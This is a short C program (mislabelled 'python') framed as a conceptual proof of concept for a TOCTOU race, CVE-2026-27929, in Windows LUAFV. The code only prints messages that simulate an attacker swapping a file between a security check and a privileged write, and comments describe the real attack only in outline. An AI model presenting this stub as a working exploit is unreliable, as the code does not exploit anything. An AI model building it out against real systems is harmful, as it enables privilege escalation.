The following code is for security research and authorized testing only.
python
/*
* Conceptual PoC for CVE-2026-27929 (TOCTOU in Windows LUAFV)
* This is a generic demonstration of a TOCTOU race condition.
* Exploiting specific Windows kernel components requires specialized environment.
*/
#include <windows.h>
#include <stdio.h>
DWORD WINAPI ThreadReplace(LPVOID lpParam) {
// Simulate the race condition window
Sleep(1);
// Attacker swaps the file or junction point here
// In a real exploit, this would involve manipulating file links
printf("[+] Attacker: Swapping file pointer...\n");
return 0;
}
void trigger_vulnerability() {
HANDLE hThread;
printf("[*] Starting race condition exploit...\n");
// Create a thread to simulate the attack during the check/use window
hThread = CreateThread(NULL, 0, ThreadReplace, NULL, 0, NULL);
// Simulate the vulnerable component checking the file
printf("[*] System: Checking file security...\n");
// Wait for the race window
WaitForSingleObject(hThread, INFINITE);
// Simulate the vulnerable component using the file (now compromised)
printf("[*] System: Performing privileged write operation...\n");
CloseHandle(hThread);
printf("[+] Exploit logic complete.");
}
int main() {
trigger_vulnerability();
return 0;
}